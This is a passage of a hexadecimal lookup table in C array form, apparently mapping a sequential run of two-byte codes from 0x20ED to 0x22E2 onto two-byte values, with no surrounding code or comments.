0x1b,\r\n0x00, 0x20, 0xED, 0xf4, 0x0b,\r\n0x00, 0x20, 0xEE, 0x18, 0x1b,\r\n0x00, 0x20, 0xEF, 0x19, 0x1b,\r\n0x00, 0x20, 0xF0, 0x0a, 0x01,\r\n0x00, 0x20, 0xF1, 0x1a, 0x1b,\r\n0x00, 0x20, 0xF2, 0x10, 0x00,\r\n0x00, 0x20, 0xF3, 0x1b, 0x1b,\r\n0x00, 0x20, 0xF4, 0x1c, 0x1b,\r\n0x00, 0x20, 0xF5, 0x1d, 0x1b,\r\n0x00, 0x20, 0xF6, 0x1e, 0x1b,\r\n0x00, 0x20, 0xF7, 0x1f, 0x1b,\r\n0x00, 0x20, 0xF8, 0x20, 0x1b,\r\n0x00, 0x20, 0xF9, 0x21, 0x1b,\r\n0x00, 0x20, 0xFA, 0x22, 0x1b,\r\n0x00, 0x20, 0xFB, 0x23, 0x1b,\r\n0x00, 0x20, 0xFC, 0x24, 0x1b,\r\n0x00, 0x20, 0xFD, 0x25, 0x1b,\r\n0x00, 0x20, 0xFE, 0x26, 0x1b,\r\n0x00, 0x20, 0xFF, 0xb4, 0x00,\r\n0x00, 0x21, 0x00, 0xe4, 0x08,\r\n0x00, 0x21, 0x01, 0x27, 0x1b,\r\n0x00, 0x21, 0x02, 0x28, 0x1b,\r\n0x00, 0x21, 0x03, 0x29, 0x1b,\r\n0x00, 0x21, 0x04, 0x2a, 0x1b,\r\n0x00, 0x21, 0x05, 0xd1, 0x06,\r\n0x00, 0x21, 0x06, 0x2b, 0x1b,\r\n0x00, 0x21, 0x07, 0x2c, 0x1b,\r\n0x00, 0x21, 0x08, 0xb9, 0x02,\r\n0x00, 0x21, 0x09, 0xb9, 0x02,\r\n0x00, 0x21, 0x0A, 0x2d, 0x1b,\r\n0x00, 0x21, 0x0B, 0x2e, 0x1b,\r\n0x00, 0x21, 0x0C, 0x2f, 0x1b,\r\n0x00, 0x21, 0x0D, 0x30, 0x1b,\r\n0x00, 0x21, 0x0E, 0x31, 0x1b,\r\n0x00, 0x21, 0x0F, 0x32, 0x1b,\r\n0x00, 0x21, 0x10, 0x33, 0x1b,\r\n0x00, 0x21, 0x11, 0x34, 0x1b,\r\n0x00, 0x21, 0x12, 0x35, 0x1b,\r\n0x00, 0x21, 0x13, 0x36, 0x1b,\r\n0x00, 0x21, 0x14, 0x37, 0x1b,\r\n0x00, 0x21, 0x15, 0x38, 0x1b,\r\n0x00, 0x21, 0x16, 0x39, 0x1b,\r\n0x00, 0x21, 0x17, 0x3a, 0x1b,\r\n0x00, 0x21, 0x18, 0x3b, 0x1b,\r\n0x00, 0x21, 0x19, 0x4f, 0x02,\r\n0x00, 0x21, 0x1A, 0x2c, 0x14,\r\n0x00, 0x21, 0x1B, 0x05, 0x00,\r\n0x00, 0x21, 0x1C, 0x05, 0x00,\r\n0x00, 0x21, 0x1D, 0x3c, 0x1b,\r\n0x00, 0x21, 0x1E, 0xb9, 0x00,\r\n0x00, 0x21, 0x1F, 0x3d, 0x1b,\r\n0x00, 0x21, 0x20, 0x3e, 0x1b,\r\n0x00, 0x21, 0x21, 0x3f, 0x1b,\r\n0x00, 0x21, 0x22, 0x40, 0x1b,\r\n0x00, 0x21, 0x23, 0x41, 0x1b,\r\n0x00, 0x21, 0x24, 0x42, 0x1b,\r\n0x00, 0x21, 0x25, 0x43, 0x1b,\r\n0x00, 0x21, 0x26, 0xe9, 0x01,\r\n0x00, 0x21, 0x27, 0xcf, 0x09,\r\n0x00, 0x21, 0x28, 0x10, 0x00,\r\n0x00, 0x21, 0x29, 0xf9, 0x0a,\r\n0x00, 0x21, 0x2A, 0x44, 0x1b,\r\n0x00, 0x21, 0x2B, 0x45, 0x1b,\r\n0x00, 0x21, 0x2C, 0x02, 0x17,\r\n0x00, 0x21, 0x2D, 0x46, 0x1b,\r\n0x00, 0x21, 0x2E, 0x47, 0x1b,\r\n0x00, 0x21, 0x2F, 0x48, 0x1b,\r\n0x00, 0x21, 0x30, 0x49, 0x1b,\r\n0x00, 0x21, 0x31, 0x4a, 0x1b,\r\n0x00, 0x21, 0x32, 0x4b, 0x1b,\r\n0x00, 0x21, 0x33, 0x4c, 0x1b,\r\n0x00, 0x21, 0x34, 0x4d, 0x1b,\r\n0x00, 0x21, 0x35, 0xd1, 0x06,\r\n0x00, 0x21, 0x36, 0xb9, 0x00,\r\n0x00, 0x21, 0x37, 0x4e, 0x1b,\r\n0x00, 0x21, 0x38, 0x4f, 0x1b,\r\n0x00, 0x21, 0x39, 0x50, 0x1b,\r\n0x00, 0x21, 0x3A, 0x51, 0x1b,\r\n0x00, 0x21, 0x3B, 0x52, 0x1b,\r\n0x00, 0x21, 0x3C, 0x53, 0x1b,\r\n0x00, 0x21, 0x3D, 0x54, 0x1b,\r\n0x00, 0x21, 0x3E, 0xe6, 0x10,\r\n0x00, 0x21, 0x3F, 0x55, 0x1b,\r\n0x00, 0x21, 0x40, 0x56, 0x1b,\r\n0x00, 0x21, 0x41, 0x57, 0x1b,\r\n0x00, 0x21, 0x42, 0xf7, 0x01,\r\n0x00, 0x21, 0x43, 0xb9, 0x00,\r\n0x00, 0x21, 0x44, 0x58, 0x1b,\r\n0x00, 0x21, 0x45, 0x59, 0x1b,\r\n0x00, 0x21, 0x46, 0x12, 0x0c,\r\n0x00, 0x21, 0x47, 0xc5, 0x08,\r\n0x00, 0x21, 0x48, 0x5a, 0x1b,\r\n0x00, 0x21, 0x49, 0x5b, 0x1b,\r\n0x00, 0x21, 0x4A, 0x5c, 0x1b,\r\n0x00, 0x21, 0x4B, 0xe9, 0x01,\r\n0x00, 0x21, 0x4C, 0x4f, 0x02,\r\n0x00, 0x21, 0x4D, 0xd3, 0x06,\r\n0x00, 0x21, 0x4E, 0x5d, 0x1b,\r\n0x00, 0x21, 0x4F, 0x93, 0x02,\r\n0x00, 0x21, 0x50, 0x5e, 0x1b,\r\n0x00, 0x21, 0x51, 0x5f, 0x1b,\r\n0x00, 0x21, 0x52, 0x13, 0x11,\r\n0x00, 0x21, 0x53, 0x60, 0x1b,\r\n0x00, 0x21, 0x54, 0x61, 0x1b,\r\n0x00, 0x21, 0x55, 0x05, 0x00,\r\n0x00, 0x21, 0x56, 0x05, 0x00,\r\n0x00, 0x21, 0x57, 0xf5, 0x04,\r\n0x00, 0x21, 0x58, 0x62, 0x1b,\r\n0x00, 0x21, 0x59, 0x08, 0x05,\r\n0x00, 0x21, 0x5A, 0xc9, 0x01,\r\n0x00, 0x21, 0x5B, 0x63, 0x1b,\r\n0x00, 0x21, 0x5C, 0x80, 0x10,\r\n0x00, 0x21, 0x5D, 0x80, 0x10,\r\n0x00, 0x21, 0x5E, 0x2f, 0x02,\r\n0x00, 0x21, 0x5F, 0x64, 0x1b,\r\n0x00, 0x21, 0x60, 0x65, 0x1b,\r\n0x00, 0x21, 0x61, 0x66, 0x1b,\r\n0x00, 0x21, 0x62, 0x69, 0x01,\r\n0x00, 0x21, 0x63, 0xb7, 0x0f,\r\n0x00, 0x21, 0x64, 0x67, 0x1b,\r\n0x00, 0x21, 0x65, 0x68, 0x1b,\r\n0x00, 0x21, 0x66, 0x69, 0x1b,\r\n0x00, 0x21, 0x67, 0x6a, 0x1b,\r\n0x00, 0x21, 0x68, 0x6b, 0x1b,\r\n0x00, 0x21, 0x69, 0x6c, 0x1b,\r\n0x00, 0x21, 0x6A, 0x80, 0x10,\r\n0x00, 0x21, 0x6B, 0x80, 0x10,\r\n0x00, 0x21, 0x6C, 0x6d, 0x1b,\r\n0x00, 0x21, 0x6D, 0x6e, 0x1b,\r\n0x00, 0x21, 0x6E, 0x6f, 0x1b,\r\n0x00, 0x21, 0x6F, 0x70, 0x1b,\r\n0x00, 0x21, 0x70, 0xd1, 0x05,\r\n0x00, 0x21, 0x71, 0x71, 0x1b,\r\n0x00, 0x21, 0x72, 0x72, 0x1b,\r\n0x00, 0x21, 0x73, 0x73, 0x1b,\r\n0x00, 0x21, 0x74, 0x74, 0x1b,\r\n0x00, 0x21, 0x75, 0x75, 0x1b,\r\n0x00, 0x21, 0x76, 0x76, 0x1b,\r\n0x00, 0x21, 0x77, 0x77, 0x1b,\r\n0x00, 0x21, 0x78, 0x78, 0x1b,\r\n0x00, 0x21, 0x79, 0x79, 0x1b,\r\n0x00, 0x21, 0x7A, 0x7a, 0x1b,\r\n0x00, 0x21, 0x7B, 0x7b, 0x1b,\r\n0x00, 0x21, 0x7C, 0x02, 0x0c,\r\n0x00, 0x21, 0x7D, 0x7c, 0x1b,\r\n0x00, 0x21, 0x7E, 0x7d, 0x1b,\r\n0x00, 0x21, 0x7F, 0x7e, 0x1b,\r\n0x00, 0x21, 0x80, 0xb9, 0x00,\r\n0x00, 0x21, 0x81, 0x7f, 0x1b,\r\n0x00, 0x21, 0x82, 0x80, 0x1b,\r\n0x00, 0x21, 0x83, 0x81, 0x1b,\r\n0x00, 0x21, 0x84, 0x82, 0x1b,\r\n0x00, 0x21, 0x85, 0x28, 0x0b,\r\n0x00, 0x21, 0x86, 0x0a, 0x01,\r\n0x00, 0x21, 0x87, 0x83, 0x1b,\r\n0x00, 0x21, 0x88, 0x84, 0x1b,\r\n0x00, 0x21, 0x89, 0x85, 0x1b,\r\n0x00, 0x21, 0x8A, 0x38, 0x05,\r\n0x00, 0x21, 0x8B, 0x86, 0x1b,\r\n0x00, 0x21, 0x8C, 0x87, 0x1b,\r\n0x00, 0x21, 0x8D, 0x88, 0x1b,\r\n0x00, 0x21, 0x8E, 0x89, 0x1b,\r\n0x00, 0x21, 0x8F, 0x8a, 0x1b,\r\n0x00, 0x21, 0x90, 0x8b, 0x1b,\r\n0x00, 0x21, 0x91, 0xe8, 0x04,\r\n0x00, 0x21, 0x92, 0x8c, 0x1b,\r\n0x00, 0x21, 0x93, 0x8d, 0x1b,\r\n0x00, 0x21, 0x94, 0x8e, 0x1b,\r\n0x00, 0x21, 0x95, 0x8f, 0x1b,\r\n0x00, 0x21, 0x96, 0x90, 0x1b,\r\n0x00, 0x21, 0x97, 0xee, 0x06,\r\n0x00, 0x21, 0x98, 0x91, 0x1b,\r\n0x00, 0x21, 0x99, 0x92, 0x1b,\r\n0x00, 0x21, 0x9A, 0x34, 0x02,\r\n0x00, 0x21, 0x9B, 0xd1, 0x05,\r\n0x00, 0x21, 0x9C, 0x93, 0x1b,\r\n0x00, 0x21, 0x9D, 0x94, 0x1b,\r\n0x00, 0x21, 0x9E, 0xbe, 0x09,\r\n0x00, 0x21, 0x9F, 0x95, 0x1b,\r\n0x00, 0x21, 0xA0, 0x05, 0x00,\r\n0x00, 0x21, 0xA1, 0x05, 0x00,\r\n0x00, 0x21, 0xA2, 0x96, 0x1b,\r\n0x00, 0x21, 0xA3, 0x97, 0x1b,\r\n0x00, 0x21, 0xA4, 0x98, 0x1b,\r\n0x00, 0x21, 0xA5, 0x99, 0x1b,\r\n0x00, 0x21, 0xA6, 0x9a, 0x1b,\r\n0x00, 0x21, 0xA7, 0x9b, 0x1b,\r\n0x00, 0x21, 0xA8, 0x9c, 0x1b,\r\n0x00, 0x21, 0xA9, 0x9d, 0x1b,\r\n0x00, 0x21, 0xAA, 0xb9, 0x02,\r\n0x00, 0x21, 0xAB, 0xb9, 0x02,\r\n0x00, 0x21, 0xAC, 0x9e, 0x1b,\r\n0x00, 0x21, 0xAD, 0x9f, 0x1b,\r\n0x00, 0x21, 0xAE, 0xd1, 0x06,\r\n0x00, 0x21, 0xAF, 0xa0, 0x1b,\r\n0x00, 0x21, 0xB0, 0xa1, 0x1b,\r\n0x00, 0x21, 0xB1, 0x54, 0x18,\r\n0x00, 0x21, 0xB2, 0xa2, 0x1b,\r\n0x00, 0x21, 0xB3, 0xa3, 0x1b,\r\n0x00, 0x21, 0xB4, 0xa4, 0x1b,\r\n0x00, 0x21, 0xB5, 0xa5, 0x1b,\r\n0x00, 0x21, 0xB6, 0xa6, 0x1b,\r\n0x00, 0x21, 0xB7, 0xa7, 0x1b,\r\n0x00, 0x21, 0xB8, 0xa8, 0x1b,\r\n0x00, 0x21, 0xB9, 0x0a, 0x01,\r\n0x00, 0x21, 0xBA, 0xeb, 0x0f,\r\n0x00, 0x21, 0xBB, 0xa9, 0x1b,\r\n0x00, 0x21, 0xBC, 0xaa, 0x1b,\r\n0x00, 0x21, 0xBD, 0xc5, 0x08,\r\n0x00, 0x21, 0xBE, 0xc4, 0x14,\r\n0x00, 0x21, 0xBF, 0xab, 0x1b,\r\n0x00, 0x21, 0xC0, 0xac, 0x1b,\r\n0x00, 0x21, 0xC1, 0xad, 0x1b,\r\n0x00, 0x21, 0xC2, 0xae, 0x1b,\r\n0x00, 0x21, 0xC3, 0xaf, 0x1b,\r\n0x00, 0x21, 0xC4, 0xb0, 0x1b,\r\n0x00, 0x21, 0xC5, 0xb1, 0x1b,\r\n0x00, 0x21, 0xC6, 0xb2, 0x1b,\r\n0x00, 0x21, 0xC7, 0xb3, 0x1b,\r\n0x00, 0x21, 0xC8, 0xb4, 0x1b,\r\n0x00, 0x21, 0xC9, 0xb5, 0x1b,\r\n0x00, 0x21, 0xCA, 0xb6, 0x1b,\r\n0x00, 0x21, 0xCB, 0xb7, 0x1b,\r\n0x00, 0x21, 0xCC, 0x10, 0x05,\r\n0x00, 0x21, 0xCD, 0xb8, 0x1b,\r\n0x00, 0x21, 0xCE, 0xb9, 0x1b,\r\n0x00, 0x21, 0xCF, 0xba, 0x1b,\r\n0x00, 0x21, 0xD0, 0xbb, 0x1b,\r\n0x00, 0x21, 0xD1, 0x4f, 0x02,\r\n0x00, 0x21, 0xD2, 0x4f, 0x02,\r\n0x00, 0x21, 0xD3, 0xbc, 0x1b,\r\n0x00, 0x21, 0xD4, 0xbd, 0x1b,\r\n0x00, 0x21, 0xD5, 0xbe, 0x1b,\r\n0x00, 0x21, 0xD6, 0xbf, 0x1b,\r\n0x00, 0x21, 0xD7, 0x05, 0x00,\r\n0x00, 0x21, 0xD8, 0x05, 0x00,\r\n0x00, 0x21, 0xD9, 0xc0, 0x1b,\r\n0x00, 0x21, 0xDA, 0xda, 0x13,\r\n0x00, 0x21, 0xDB, 0xc1, 0x1b,\r\n0x00, 0x21, 0xDC, 0xc2, 0x1b,\r\n0x00, 0x21, 0xDD, 0xc4, 0x04,\r\n0x00, 0x21, 0xDE, 0xc3, 0x1b,\r\n0x00, 0x21, 0xDF, 0xc4, 0x1b,\r\n0x00, 0x21, 0xE0, 0xc5, 0x1b,\r\n0x00, 0x21, 0xE1, 0x69, 0x01,\r\n0x00, 0x21, 0xE2, 0xc6, 0x1b,\r\n0x00, 0x21, 0xE3, 0xc7, 0x1b,\r\n0x00, 0x21, 0xE4, 0xc8, 0x1b,\r\n0x00, 0x21, 0xE5, 0xc9, 0x1b,\r\n0x00, 0x21, 0xE6, 0xca, 0x1b,\r\n0x00, 0x21, 0xE7, 0x0b, 0x00,\r\n0x00, 0x21, 0xE8, 0xd4, 0x0c,\r\n0x00, 0x21, 0xE9, 0x51, 0x03,\r\n0x00, 0x21, 0xEA, 0xcb, 0x1b,\r\n0x00, 0x21, 0xEB, 0xcc, 0x1b,\r\n0x00, 0x21, 0xEC, 0xcd, 0x1b,\r\n0x00, 0x21, 0xED, 0xce, 0x1b,\r\n0x00, 0x21, 0xEE, 0xcf, 0x1b,\r\n0x00, 0x21, 0xEF, 0xd0, 0x1b,\r\n0x00, 0x21, 0xF0, 0xd1, 0x1b,\r\n0x00, 0x21, 0xF1, 0xd2, 0x1b,\r\n0x00, 0x21, 0xF2, 0xd3, 0x1b,\r\n0x00, 0x21, 0xF3, 0xd4, 0x1b,\r\n0x00, 0x21, 0xF4, 0xd5, 0x1b,\r\n0x00, 0x21, 0xF5, 0xd6, 0x1b,\r\n0x00, 0x21, 0xF6, 0x10, 0x00,\r\n0x00, 0x21, 0xF7, 0xa5, 0x17,\r\n0x00, 0x21, 0xF8, 0xd7, 0x1b,\r\n0x00, 0x21, 0xF9, 0xd8, 0x1b,\r\n0x00, 0x21, 0xFA, 0xd9, 0x1b,\r\n0x00, 0x21, 0xFB, 0xce, 0x17,\r\n0x00, 0x21, 0xFC, 0xb9, 0x02,\r\n0x00, 0x21, 0xFD, 0xda, 0x1b,\r\n0x00, 0x21, 0xFE, 0xb9, 0x02,\r\n0x00, 0x21, 0xFF, 0xdb, 0x1b,\r\n0x00, 0x22, 0x00, 0x2f, 0x02,\r\n0x00, 0x22, 0x01, 0xdc, 0x1b,\r\n0x00, 0x22, 0x02, 0xdd, 0x1b,\r\n0x00, 0x22, 0x03, 0xde, 0x1b,\r\n0x00, 0x22, 0x04, 0xdf, 0x1b,\r\n0x00, 0x22, 0x05, 0xe0, 0x1b,\r\n0x00, 0x22, 0x06, 0xe1, 0x1b,\r\n0x00, 0x22, 0x07, 0xe2, 0x1b,\r\n0x00, 0x22, 0x08, 0xe3, 0x1b,\r\n0x00, 0x22, 0x09, 0xe4, 0x1b,\r\n0x00, 0x22, 0x0A, 0xe5, 0x1b,\r\n0x00, 0x22, 0x0B, 0xf5, 0x04,\r\n0x00, 0x22, 0x0C, 0x05, 0x00,\r\n0x00, 0x22, 0x0D, 0x05, 0x00,\r\n0x00, 0x22, 0x0E, 0xe6, 0x1b,\r\n0x00, 0x22, 0x0F, 0xe7, 0x1b,\r\n0x00, 0x22, 0x10, 0xb9, 0x00,\r\n0x00, 0x22, 0x11, 0xe8, 0x1b,\r\n0x00, 0x22, 0x12, 0xe9, 0x1b,\r\n0x00, 0x22, 0x13, 0xea, 0x1b,\r\n0x00, 0x22, 0x14, 0xeb, 0x1b,\r\n0x00, 0x22, 0x15, 0x20, 0x0b,\r\n0x00, 0x22, 0x16, 0xec, 0x1b,\r\n0x00, 0x22, 0x17, 0xed, 0x1b,\r\n0x00, 0x22, 0x18, 0x05, 0x18,\r\n0x00, 0x22, 0x19, 0xd1, 0x05,\r\n0x00, 0x22, 0x1A, 0xee, 0x1b,\r\n0x00, 0x22, 0x1B, 0xef, 0x1b,\r\n0x00, 0x22, 0x1C, 0x65, 0x00,\r\n0x00, 0x22, 0x1D, 0xf0, 0x1b,\r\n0x00, 0x22, 0x1E, 0xf1, 0x1b,\r\n0x00, 0x22, 0x1F, 0xf2, 0x1b,\r\n0x00, 0x22, 0x20, 0xf3, 0x1b,\r\n0x00, 0x22, 0x21, 0xf4, 0x1b,\r\n0x00, 0x22, 0x22, 0x7a, 0x0b,\r\n0x00, 0x22, 0x23, 0xf5, 0x1b,\r\n0x00, 0x22, 0x24, 0xf6, 0x1b,\r\n0x00, 0x22, 0x25, 0x3b, 0x06,\r\n0x00, 0x22, 0x26, 0xf7, 0x1b,\r\n0x00, 0x22, 0x27, 0xf8, 0x1b,\r\n0x00, 0x22, 0x28, 0xf9, 0x1b,\r\n0x00, 0x22, 0x29, 0xfa, 0x1b,\r\n0x00, 0x22, 0x2A, 0xfb, 0x1b,\r\n0x00, 0x22, 0x2B, 0xfc, 0x1b,\r\n0x00, 0x22, 0x2C, 0xfd, 0x1b,\r\n0x00, 0x22, 0x2D, 0x80, 0x04,\r\n0x00, 0x22, 0x2E, 0xfe, 0x1b,\r\n0x00, 0x22, 0x2F, 0xff, 0x1b,\r\n0x00, 0x22, 0x30, 0x00, 0x1c,\r\n0x00, 0x22, 0x31, 0x01, 0x1c,\r\n0x00, 0x22, 0x32, 0x02, 0x1c,\r\n0x00, 0x22, 0x33, 0x71, 0x07,\r\n0x00, 0x22, 0x34, 0x03, 0x1c,\r\n0x00, 0x22, 0x35, 0x04, 0x1c,\r\n0x00, 0x22, 0x36, 0x05, 0x1c,\r\n0x00, 0x22, 0x37, 0x06, 0x1c,\r\n0x00, 0x22, 0x38, 0x07, 0x1c,\r\n0x00, 0x22, 0x39, 0x08, 0x1c,\r\n0x00, 0x22, 0x3A, 0xc4, 0x14,\r\n0x00, 0x22, 0x3B, 0x5a, 0x08,\r\n0x00, 0x22, 0x3C, 0x09, 0x1c,\r\n0x00, 0x22, 0x3D, 0x0a, 0x1c,\r\n0x00, 0x22, 0x3E, 0x0b, 0x1c,\r\n0x00, 0x22, 0x3F, 0x68, 0x08,\r\n0x00, 0x22, 0x40, 0x0a, 0x01,\r\n0x00, 0x22, 0x41, 0x51, 0x03,\r\n0x00, 0x22, 0x42, 0x0c, 0x1c,\r\n0x00, 0x22, 0x43, 0xb5, 0x12,\r\n0x00, 0x22, 0x44, 0x0d, 0x1c,\r\n0x00, 0x22, 0x45, 0x0e, 0x1c,\r\n0x00, 0x22, 0x46, 0x0f, 0x1c,\r\n0x00, 0x22, 0x47, 0x10, 0x1c,\r\n0x00, 0x22, 0x48, 0xb4, 0x03,\r\n0x00, 0x22, 0x49, 0x11, 0x1c,\r\n0x00, 0x22, 0x4A, 0x12, 0x1c,\r\n0x00, 0x22, 0x4B, 0x13, 0x1c,\r\n0x00, 0x22, 0x4C, 0xc5, 0x08,\r\n0x00, 0x22, 0x4D, 0x14, 0x1c,\r\n0x00, 0x22, 0x4E, 0x15, 0x1c,\r\n0x00, 0x22, 0x4F, 0x16, 0x1c,\r\n0x00, 0x22, 0x50, 0x17, 0x1c,\r\n0x00, 0x22, 0x51, 0x18, 0x1c,\r\n0x00, 0x22, 0x52, 0x19, 0x1c,\r\n0x00, 0x22, 0x53, 0x1a, 0x1c,\r\n0x00, 0x22, 0x54, 0x1b, 0x1c,\r\n0x00, 0x22, 0x55, 0x05, 0x00,\r\n0x00, 0x22, 0x56, 0x05, 0x00,\r\n0x00, 0x22, 0x57, 0xc0, 0x03,\r\n0x00, 0x22, 0x58, 0x3a, 0x03,\r\n0x00, 0x22, 0x59, 0xd3, 0x06,\r\n0x00, 0x22, 0x5A, 0x1c, 0x1c,\r\n0x00, 0x22, 0x5B, 0x1d, 0x1c,\r\n0x00, 0x22, 0x5C, 0x1e, 0x1c,\r\n0x00, 0x22, 0x5D, 0x1f, 0x1c,\r\n0x00, 0x22, 0x5E, 0x20, 0x1c,\r\n0x00, 0x22, 0x5F, 0x21, 0x1c,\r\n0x00, 0x22, 0x60, 0x22, 0x1c,\r\n0x00, 0x22, 0x61, 0x23, 0x1c,\r\n0x00, 0x22, 0x62, 0x24, 0x1c,\r\n0x00, 0x22, 0x63, 0x25, 0x1c,\r\n0x00, 0x22, 0x64, 0xc9, 0x01,\r\n0x00, 0x22, 0x65, 0xb9, 0x02,\r\n0x00, 0x22, 0x66, 0xb9, 0x02,\r\n0x00, 0x22, 0x67, 0x69, 0x01,\r\n0x00, 0x22, 0x68, 0xe3, 0x11,\r\n0x00, 0x22, 0x69, 0xe3, 0x11,\r\n0x00, 0x22, 0x6A, 0xc2, 0x05,\r\n0x00, 0x22, 0x6B, 0xf9, 0x0a,\r\n0x00, 0x22, 0x6C, 0x26, 0x1c,\r\n0x00, 0x22, 0x6D, 0xe9, 0x01,\r\n0x00, 0x22, 0x6E, 0x27, 0x1c,\r\n0x00, 0x22, 0x6F, 0x28, 0x1c,\r\n0x00, 0x22, 0x70, 0x29, 0x1c,\r\n0x00, 0x22, 0x71, 0x2a, 0x1c,\r\n0x00, 0x22, 0x72, 0x36, 0x06,\r\n0x00, 0x22, 0x73, 0x2b, 0x1c,\r\n0x00, 0x22, 0x74, 0x2c, 0x1c,\r\n0x00, 0x22, 0x75, 0xe5, 0x13,\r\n0x00, 0x22, 0x76, 0x2d, 0x1c,\r\n0x00, 0x22, 0x77, 0x2e, 0x1c,\r\n0x00, 0x22, 0x78, 0xe9, 0x01,\r\n0x00, 0x22, 0x79, 0x2f, 0x1c,\r\n0x00, 0x22, 0x7A, 0x9e, 0x06,\r\n0x00, 0x22, 0x7B, 0x30, 0x1c,\r\n0x00, 0x22, 0x7C, 0x31, 0x1c,\r\n0x00, 0x22, 0x7D, 0x32, 0x1c,\r\n0x00, 0x22, 0x7E, 0x33, 0x1c,\r\n0x00, 0x22, 0x7F, 0x02, 0x11,\r\n0x00, 0x22, 0x80, 0x34, 0x1c,\r\n0x00, 0x22, 0x81, 0x35, 0x1c,\r\n0x00, 0x22, 0x82, 0x36, 0x1c,\r\n0x00, 0x22, 0x83, 0x08, 0x05,\r\n0x00, 0x22, 0x84, 0x37, 0x1c,\r\n0x00, 0x22, 0x85, 0x38, 0x1c,\r\n0x00, 0x22, 0x86, 0x39, 0x1c,\r\n0x00, 0x22, 0x87, 0x3a, 0x1c,\r\n0x00, 0x22, 0x88, 0x3b, 0x1c,\r\n0x00, 0x22, 0x89, 0x3c, 0x1c,\r\n0x00, 0x22, 0x8A, 0x3d, 0x1c,\r\n0x00, 0x22, 0x8B, 0x3e, 0x1c,\r\n0x00, 0x22, 0x8C, 0x3f, 0x1c,\r\n0x00, 0x22, 0x8D, 0x40, 0x1c,\r\n0x00, 0x22, 0x8E, 0x41, 0x1c,\r\n0x00, 0x22, 0x8F, 0x42, 0x1c,\r\n0x00, 0x22, 0x90, 0x05, 0x00,\r\n0x00, 0x22, 0x91, 0x05, 0x00,\r\n0x00, 0x22, 0x92, 0x43, 0x1c,\r\n0x00, 0x22, 0x93, 0xe1, 0x12,\r\n0x00, 0x22, 0x94, 0x44, 0x1c,\r\n0x00, 0x22, 0x95, 0x45, 0x1c,\r\n0x00, 0x22, 0x96, 0x46, 0x1c,\r\n0x00, 0x22, 0x97, 0x47, 0x1c,\r\n0x00, 0x22, 0x98, 0xbe, 0x09,\r\n0x00, 0x22, 0x99, 0x60, 0x1b,\r\n0x00, 0x22, 0x9A, 0x48, 0x1c,\r\n0x00, 0x22, 0x9B, 0x49, 0x1c,\r\n0x00, 0x22, 0x9C, 0x4a, 0x1c,\r\n0x00, 0x22, 0x9D, 0x4b, 0x1c,\r\n0x00, 0x22, 0x9E, 0x4c, 0x1c,\r\n0x00, 0x22, 0x9F, 0x4d, 0x1c,\r\n0x00, 0x22, 0xA0, 0x4e, 0x1c,\r\n0x00, 0x22, 0xA1, 0x4f, 0x1c,\r\n0x00, 0x22, 0xA2, 0x50, 0x1c,\r\n0x00, 0x22, 0xA3, 0x53, 0x03,\r\n0x00, 0x22, 0xA4, 0x02, 0x0c,\r\n0x00, 0x22, 0xA5, 0xeb, 0x0f,\r\n0x00, 0x22, 0xA6, 0x51, 0x1c,\r\n0x00, 0x22, 0xA7, 0x52, 0x1c,\r\n0x00, 0x22, 0xA8, 0x53, 0x1c,\r\n0x00, 0x22, 0xA9, 0xce, 0x17,\r\n0x00, 0x22, 0xAA, 0xc5, 0x08,\r\n0x00, 0x22, 0xAB, 0xe9, 0x01,\r\n0x00, 0x22, 0xAC, 0x10, 0x0e,\r\n0x00, 0x22, 0xAD, 0x54, 0x1c,\r\n0x00, 0x22, 0xAE, 0x55, 0x1c,\r\n0x00, 0x22, 0xAF, 0x56, 0x1c,\r\n0x00, 0x22, 0xB0, 0xe8, 0x04,\r\n0x00, 0x22, 0xB1, 0x57, 0x1c,\r\n0x00, 0x22, 0xB2, 0x58, 0x1c,\r\n0x00, 0x22, 0xB3, 0x59, 0x1c,\r\n0x00, 0x22, 0xB4, 0xb9, 0x00,\r\n0x00, 0x22, 0xB5, 0x5a, 0x1c,\r\n0x00, 0x22, 0xB6, 0x5b, 0x1c,\r\n0x00, 0x22, 0xB7, 0x5c, 0x1c,\r\n0x00, 0x22, 0xB8, 0x5d, 0x1c,\r\n0x00, 0x22, 0xB9, 0x5e, 0x1c,\r\n0x00, 0x22, 0xBA, 0x5f, 0x1c,\r\n0x00, 0x22, 0xBB, 0x60, 0x1c,\r\n0x00, 0x22, 0xBC, 0x61, 0x1c,\r\n0x00, 0x22, 0xBD, 0x05, 0x00,\r\n0x00, 0x22, 0xBE, 0x05, 0x00,\r\n0x00, 0x22, 0xBF, 0x62, 0x1c,\r\n0x00, 0x22, 0xC0, 0xe9, 0x01,\r\n0x00, 0x22, 0xC1, 0x63, 0x1c,\r\n0x00, 0x22, 0xC2, 0x75, 0x04,\r\n0x00, 0x22, 0xC3, 0x64, 0x1c,\r\n0x00, 0x22, 0xC4, 0x65, 0x1c,\r\n0x00, 0x22, 0xC5, 0x66, 0x1c,\r\n0x00, 0x22, 0xC6, 0x67, 0x1c,\r\n0x00, 0x22, 0xC7, 0x68, 0x1c,\r\n0x00, 0x22, 0xC8, 0xe0, 0x0e,\r\n0x00, 0x22, 0xC9, 0x69, 0x1c,\r\n0x00, 0x22, 0xCA, 0x6a, 0x1c,\r\n0x00, 0x22, 0xCB, 0x6b, 0x1c,\r\n0x00, 0x22, 0xCC, 0x6c, 0x1c,\r\n0x00, 0x22, 0xCD, 0x6d, 0x1c,\r\n0x00, 0x22, 0xCE, 0xc4, 0x14,\r\n0x00, 0x22, 0xCF, 0x6e, 0x1c,\r\n0x00, 0x22, 0xD0, 0x6f, 0x1c,\r\n0x00, 0x22, 0xD1, 0x70, 0x1c,\r\n0x00, 0x22, 0xD2, 0x71, 0x1c,\r\n0x00, 0x22, 0xD3, 0x72, 0x1c,\r\n0x00, 0x22, 0xD4, 0x73, 0x1c,\r\n0x00, 0x22, 0xD5, 0x74, 0x1c,\r\n0x00, 0x22, 0xD6, 0x75, 0x1c,\r\n0x00, 0x22, 0xD7, 0xc5, 0x08,\r\n0x00, 0x22, 0xD8, 0xe9, 0x01,\r\n0x00, 0x22, 0xD9, 0x76, 0x1c,\r\n0x00, 0x22, 0xDA, 0x77, 0x1c,\r\n0x00, 0x22, 0xDB, 0x78, 0x1c,\r\n0x00, 0x22, 0xDC, 0x79, 0x1c,\r\n0x00, 0x22, 0xDD, 0x7a, 0x1c,\r\n0x00, 0x22, 0xDE, 0x7b, 0x1c,\r\n0x00, 0x22, 0xDF, 0x7c, 0x1c,\r\n0x00, 0x22, 0xE0, 0x7d, 0x1c,\r\n0x00, 0x22, 0xE1, 0x7e, 0x1c,\r\n0x00, 0x22, 0xE2, 0x7f, 